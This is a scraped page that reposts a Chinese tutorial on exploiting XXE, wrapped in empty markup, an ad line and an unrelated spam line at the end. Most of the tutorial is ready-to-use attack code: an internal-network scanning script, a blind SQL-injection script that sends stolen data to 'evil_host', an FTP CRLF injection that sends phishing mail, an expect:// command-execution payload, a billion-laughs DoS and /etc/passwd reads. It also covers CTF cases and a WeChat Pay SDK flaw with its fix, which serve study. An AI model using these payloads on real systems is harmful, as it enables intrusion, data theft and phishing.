<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                以下內容copy自別人的文章,未免失效做了全文復制 >一篇文章帶你深入理解漏洞之 XXE 漏洞:https://xz.aliyun.com/t/3357 [TOC] ### **新的思考:** 剛剛都只是做了一件事,就是通過 file 協議讀取本地文件,或者是通過 http 協議發出請求,熟悉 SSRF 的童鞋應該很快反應過來,這其實非常類似于 SSRF ,因為他們都能從服務器向另一臺服務器發起請求; 那么我們如果將遠程服務器的地址換成某個內網的地址,是不是也能實現 SSRF 同樣的效果呢?沒錯,XXE 其實也是一種 SSRF 的攻擊手法,因為 SSRF 其實只是一種攻擊模式,利用這種攻擊模式我們能使用很多的協議以及漏洞進行攻擊。 ### **新的利用:** 所以要想更進一步的利用我們不能將眼光局限于 file 協議,我們必須清楚地知道在何種平臺,我們能用何種協議 **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e93bbf00-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e93bbf00-ec17-1.png) PHP在安裝擴展以后還能支持的協議: **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e965b74c-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e965b74c-ec17-1.png) > **注意:** > 1.其中從2012年9月開始,Oracle JDK版本中刪除了對gopher方案的支持,后來又支持的版本是 Oracle JDK 1.7 > update 7 和 Oracle JDK 1.6 update 35 > 2.libxml 是 PHP 的 xml 支持 ### **實驗三:HTTP 內網主機探測** 我們以存在 XXE 漏洞的服務器為我們探測內網的支點。要進行內網探測我們還需要做一些準備工作,我們需要先利用 file 協議讀取我們作為支點服務器的網絡配置文件,看一下有沒有內網,以及網段大概是什么樣子(我以linux 為例),我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我們就有了大致的探測方向了 **下面是一個探測腳本的實例:** ~~~ import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue ~~~ **返回結果:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9a5fb54-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9a5fb54-ec17-1.png) ### **實驗四:HTTP 內網主機端口掃描** 找到了內網的一臺主機,想要知道攻擊點在哪,我們還需要進行端口掃描,端口掃描的腳本主機探測幾乎沒有什么變化,只要把ip 地址固定,然后循環遍歷端口就行了,當然一般我們端口是通過響應的時間的長短判斷該該端口是否開放的,讀者可以自行修改一下,當然除了這種方法,我們還能結合 burpsuite 進行端口探測 **比如我們傳入:** ~~~ <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> ~~~ **返回結果:** ~~~ javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused ~~~ 這樣就完成了一次端口探測。如果想更多,我們可以將請求的端口作為 參數 然后利用 bp 的 intruder 來幫我們探測 **如下圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9dea094-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9dea094-ec17-1.png) 至此,我們已經有能力對整個網段進行了一個全面的探測,并能得到內網服務器的一些信息了,如果內網的服務器有漏洞,并且恰好利用方式在服務器支持的協議的范圍內的話,我們就能直接利用 XXE 打擊內網服務器甚至能直接 getshell(比如有些 內網的未授權 redis 或者有些通過 http get 請求就能直接getshell 的 比如 strus2) ### **實驗五:內網盲注(CTF)** 2018 強網杯 有一道題就是利用 XXE 漏洞進行內網的 SQL 盲注的,大致的思路如下: 首先在外網的一臺ip地址為 39.107.33.75:33899 的評論框處測試發現 XXE 漏洞,我們輸入 xml 以及 dtd 會出現報錯 **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-ea03a74a-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-ea03a74a-ec17-1.png) [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea345868-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea345868-ec17-1.png) 既然如此,那么我們是不是能讀取該服務器上面的文件,我們先讀配置文件(這個點是 Blind XXE ,必須使用參數實體,外部引用 DTD ) ~~~ /var/www/52dandan.cc/public_html/config.php ~~~ 拿到第一部分 flag ~~~ <?php define(BASEDIR, "/var/www/52dandan.club/"); define(FLAG_SIG, 1); define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431'); .... ?> ~~~ > **注意:** > > 這里有一個小技巧,當我們使用 libxml 讀取文件內容的時候,文件不能過大,如果太大就會報錯,于是我們就需要使用 php > 過濾器的一個壓縮的方法 > > 壓縮:echo file\_get\_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"); > 解壓:echo file\_get\_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1"); 然后我們考慮內網有沒有東西,我們讀取 ~~~ /proc/net/arp /etc/host ~~~ 找到內網的另一臺服務器的 ip 地址 192.168.223.18 拿到這個 ip 我們考慮就要使用 XXE 進行端口掃描了,然后我們發現開放了 80 端口,然后我們再進行目錄掃描,找到一個 test.php ,根據提示,這個頁面的 shop 參數存在一個注入,但是因為本身這個就是一個 Blind XXE ,我們的對服務器的請求都是在我們的遠程 DTD 中包含的,現在我們需要改變我們的請求,那我們就要在每一次修改請求的時候修改我們遠程服務器的 DTD 文件,于是我們的腳本就要掛在我們的 VPS 上,一邊邊修改 DTD 一邊向存在 XXE 漏洞的主機發送請求,腳本就像下面這個樣子 **示例代碼:** ~~~ import requests url = 'http://39.107.33.75:33899/common.php' s = requests.Session() result = '' data = { "name":"evil_man", "email":"testabcdefg@gmail.com", "comment":"""<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd"> %dtd;]> """ } for i in range(0,28): for j in range(48,123): f = open('./evil.dtd','w') payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>"> %all; %send;""".format('_'*i+chr(j)+'_'*(27-i)) f.write(payload2) f.close() print 'test {}'.format(chr(j)) r = s.post(url,data=data) if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_': result += chr(j) print chr(j) break print result ~~~ 這道題難度比加大,做起來也非常的耗時,所有的東西都要靠腳本去猜,因此當時是0解 ### **實驗六:文件上傳** 我們之前說的好像都是 php 相關,但是實際上現實中很多都是 java 的框架出現的 XXE 漏洞,通過閱讀文檔,我發現 Java 中有一個比較神奇的協議 jar:// , php 中的 phar:// 似乎就是為了實現 jar:// 的類似的功能設計出來的。 **jar:// 協議的格式:** ~~~ jar:{url}!{path} ~~~ **實例:** ~~~ jar:http://host/application.jar!/file/within/the/zip 這個 ! 后面就是其需要從中解壓出的文件 ~~~ jar 能從遠程獲取 jar 文件,然后將其中的內容進行解壓,等等,這個功能似乎比 phar 強大啊,phar:// 是沒法遠程加載文件的(因此 phar:// 一般用于繞過文件上傳,在一些2016年的HCTF中考察過這個知識點,我也曾在校賽中出過類似的題目,奧,2018年的 blackhat 講述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出過這道題) **jar 協議處理文件的過程:** (1) 下載 jar/zip 文件到臨時文件中 (2) 提取出我們指定的文件 (3) 刪除臨時文件 > **那么我們怎么找到我們下載的臨時文件呢?** > > 因為在 java 中 file:/// 協議可以起到列目錄的作用,所以我們能用 file:/// 協議配合 jar:// 協議使用 下面是我的一些測試過程: 我首先在本地模擬一個存在 XXE 的程序,網上找的能直接解析 XML 文件的 java 源碼 **示例代碼:** **xml\_test.java** ~~~ package xml_test; import java.io.File; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Attr; import org.w3c.dom.Comment; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; /** * 使用遞歸解析給定的任意一個xml文檔并且將其內容輸出到命令行上 * @author zhanglong * */ public class xml_test { public static void main(String[] args) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File("student.xml")); //獲得根元素結點 Element root = doc.getDocumentElement(); parseElement(root); } private static void parseElement(Element element) { String tagName = element.getNodeName(); NodeList children = element.getChildNodes(); System.out.print("<" + tagName); //element元素的所有屬性所構成的NamedNodeMap對象,需要對其進行判斷 NamedNodeMap map = element.getAttributes(); //如果該元素存在屬性 if(null != map) { for(int i = 0; i < map.getLength(); i++) { //獲得該元素的每一個屬性 Attr attr = (Attr)map.item(i); String attrName = attr.getName(); String attrValue = attr.getValue(); System.out.print(" " + attrName + "=\"" + attrValue + "\""); } } System.out.print(">"); for(int i = 0; i < children.getLength(); i++) { Node node = children.item(i); //獲得結點的類型 short nodeType = node.getNodeType(); if(nodeType == Node.ELEMENT_NODE) { //是元素,繼續遞歸 parseElement((Element)node); } else if(nodeType == Node.TEXT_NODE) { //遞歸出口 System.out.print(node.getNodeValue()); } else if(nodeType == Node.COMMENT_NODE) { System.out.print("<!--"); Comment comment = (Comment)node; //注釋內容 String data = comment.getData(); System.out.print(data); System.out.print("-->"); } } System.out.print("</" + tagName + ">"); } } ~~~ 有了這個源碼以后,我們需要在本地建立一個 xml 文件 ,我取名為 student.xml **student.xml** ~~~ <!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php"> ]> <convert>&remote;</convert> ~~~ **目錄結構如下圖:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea691684-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea691684-ec17-1.png) 可以清楚地看到我的請求是向自己本地的 9999 端口發出的,那么9999 端口上有什么服務呢?實際上是我自己用 python 寫的一個 TCP 服務器 **示例代碼:** **sever.py** ~~~ import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1] class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self): http_req = b'' print('New connection:',self.client_address) while b'\r\n\r\n' not in http_req: try: http_req += self.request.recv(4096) print('Client req:\r\n',http_req.decode()) jf = open(jar_file, 'rb') contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''') self.request.sendall(headers.encode('ascii')) self.request.sendall(contents[:-1]) time.sleep(30) print(30) self.request.sendall(contents[-1:]) except Exception as e: print ("get error at:"+str(e)) if __name__ == '__main__': jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join() ~~~ 這個服務器的目的就是接受客戶端的請求,然后向客戶端發送一個我們運行時就傳入的參數指定的文件,但是還沒完,實際上我在這里加了一個 sleep(30),這個的目的我后面再說 既然是文件上傳,那我們又要回到 jar 協議解析文件的過程中了 > **jar 協議處理文件的過程:** > > (1) 下載 jar/zip 文件到臨時文件中 > (2) 提取出我們指定的文件 > (3) 刪除臨時文件 那我們怎么找到這個臨時的文件夾呢?不用想,肯定是通過報錯的形式展現,如果我們請求的 ~~~ jar:http://localhost:9999/jar.zip!/1.php ~~~ 1.php 在這個 jar.zip 中沒有的話,java 解析器就會報錯,說在這個臨時文件中找不到這個文件 **如下圖:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-eaa1b2aa-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-eaa1b2aa-ec17-1.png) 既然找到了臨時文件的路徑,我們就要考慮怎么使用這個文件了(或者說怎么讓這個文件能更長時間的停留在我們的系統之中,我想到的方式就是sleep())但是還有一個問題,因為我們要利用的時候肯定是在文件沒有完全傳輸成果的時候,因此為了文件的完整性,我考慮在傳輸前就使用 hex 編輯器在文件末尾添加垃圾字符,這樣就能完美的解決這個問題 **下面是我的實驗錄屏:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif) 實驗就到這一步了,怎么利用就看各位大佬的了(壞笑) 我后來在LCTF 2018 出了這樣一個 CTF 題目,詳細的 wp 可以看我的[這篇文章](http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/) ### **實驗七:釣魚:** 如果內網有一臺易受攻擊的 SMTP 服務器,我們就能利用 ftp:// 協議結合 CRLF 注入向其發送任意命令,也就是可以指定其發送任意郵件給任意人,這樣就偽造了信息源,造成釣魚(一下實例來自fb 的一篇文章 ) Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定用戶名和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連接中發送相應的USER命令。 但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置,我們就可以終止USER命令并向FTP會話中注入一個新的命令,即允許我們向25端口發送任意的SMTP命令: **示例代碼:** ~~~ ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25 ~~~ 當FTP客戶端使用此URL連接時,以下命令將會被發送給VULNERABLESYSTEM.com上的郵件服務器: **示例代碼:** ~~~ ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25 ~~~ 這意味著攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置鏈接)并繞過垃圾郵件過濾器的檢測。除了鏈接之外,甚至我們也可以發送附件。 ### **實驗八:其他:** 除了上面實驗中的一些常見利用以外還有一些不是很常用或者比較雞肋的利用方式,為了完整性我在這一節簡單的說一下: #### **1.PHP expect RCE** 由于 PHP 的 expect 并不是默認安裝擴展,如果安裝了這個expect 擴展我們就能直接利用 XXE 進行 RCE **示例代碼:** ~~~ <!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> <dir> <file>&cmd;</file> </dir> ~~~ #### **2\. 利用 XXE 進行 DOS 攻擊** **示例代碼:** ~~~ <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ~~~ ## **五、真實的 XXE 出現在哪** 我們剛剛說了那么多,都是只是我們對這個漏洞的理解,但是好像還沒說這種漏洞出現在什么地方 如今的 web 時代,是一個前后端分離的時代,有人說 MVC 就是前后端分離,但我覺得這種分離的并不徹底,后端還是要嘗試去調用渲染類去控制前端的渲染,我所說的前后端分離是,后端 api 只負責接受約定好要傳入的數據,然后經過一系列的黑盒運算,將得到結果以 json 格式返回給前端,前端只負責坐享其成,拿到數據json.decode 就行了(這里的后端可以是后臺代碼,也可以是外部的api 接口,這里的前端可以是傳統意義的前端,也可以是后臺代碼) 那么問題經常就出現在 api 接口能解析客戶端傳過來的 xml 代碼,并且直接外部實體的引用,比如下面這個 ### **實例一:模擬情況** **示例代碼:** ~~~ POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog> ~~~ 我們發出 帶有 xml 的 POST 請求以后,述代碼將交由服務器的XML處理器解析。代碼被解釋并返回:{“Request Successful”: “Added!”} 但是如果我們傳入一個惡意的代碼 ~~~ <?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog> ~~~ 如果沒有做好“安全措施” 就會出現解析惡意代碼的情況,就會有下面的返回 ~~~ {"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync... ~~~ ### **實例二:微信支付的 XXE** 前一陣子非常火的微信支付的 XXE 漏洞當然不得不提, **漏洞描述:** 微信支付提供了一個 api 接口,供商家接收異步支付結果,微信支付所用的java sdk在處理結果時可能觸發一個XXE漏洞,攻擊者可以向這個接口發送構造惡意payloads,獲取商家服務器上的任何信息,一旦攻擊者獲得了敏感的數據 (md5-key and merchant-Id etc.),他可能通過發送偽造的信息不用花錢就購買商家任意物品 我下載了 java 版本的 sdk 進行分析,這個 sdk 提供了一個 WXPayUtil 工具類,該類中實現了xmltoMap和maptoXml這兩個方法,而這次的微信支付的xxe漏洞爆發點就在xmltoMap方法中 **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eb304d9e-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eb304d9e-ec17-1.png) 問題就出現在我橫線劃出來的那部分,也就是簡化為下面的代碼: ~~~ public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); ... ~~~ 我們可以看到 當構建了 documentBuilder 以后就直接對傳進來的 strXML 解析了,而不巧的是 strXML 是一處攻擊者可控的參數,于是就出現了 XXE 漏洞,下面是我實驗的步驟 首先我在 com 包下又新建了一個包,來寫我們的測試代碼,測試代碼我命名為 test001.java **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eb80dca0-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eb80dca0-ec17-1.png) **test001.java** ~~~ package com.test.test001; import java.util.Map; import static com.github.wxpay.sdk.WXPayUtil.xmlToMap; public class test001 { public static void main(String args[]) throws Exception { String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" + "<!DOCTYPE XDSEC [\r\n" + "<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" + "<XDSEC>\r\n"+ "<XXE>&xxe;</XXE>\r\n" + "</XDSEC>"; try{ Map<String,String> test = xmlToMap(xmlStr); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } } ~~~ 我希望它能讀取我 D 盤下面的 1.txt 文件 運行后成功讀取 **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eba50724-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eba50724-ec17-1.png) 當然,WXPayXmlUtil.java 中有這個 sdk 的配置項,能直接決定實驗的效果,當然后期的修復也是針對這里面進行修復的 ~~~ http://apache.org/xml/features/disallow-doctype-decl true http://apache.org/xml/features/nonvalidating/load-external-dtd false http://xml.org/sax/features/external-general-entities false http://xml.org/sax/features/external-parameter-entities false ~~~ 整個源碼我打包好了已經上傳到我的百度云,有興趣的童鞋可以運行一下感受: > 鏈接:[https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw](https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw)提取碼:xq1b 上面說過 java 中有一個 netdoc:/ 協議能代替 file:/// ,我現在來演示一下: **如圖所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002652-ebdec6a8-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002652-ebdec6a8-ec17-1.png) ### **實例三:JSON content-type XXE** 正如我們所知道的,很多web和移動應用都基于客戶端-服務器交互模式的web通信服務。不管是SOAP還是RESTful,一般對于web服務來說,最常見的數據格式都是XML和JSON。盡管web服務可能在編程時只使用其中一種格式,但服務器卻可以接受開發人員并沒有預料到的其他數據格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊 #### **原始請求和響應:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":"netspitest"} ~~~ **HTTP Response:** ~~~ HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"} ~~~ 現在我們嘗試將 Content-Type 修改為 application/xml #### **進一步請求和響應:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38 {"search":"name","value":"netspitest"} ~~~ **HTTP Response:** ~~~ HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127 {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}} ~~~ 可以發現服務器端是能處理 xml 數據的,于是我們就可以利用這個來進行攻擊 #### **最終的請求和響應:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root> ~~~ **HTTP Response:** ~~~ HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... ~~~
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看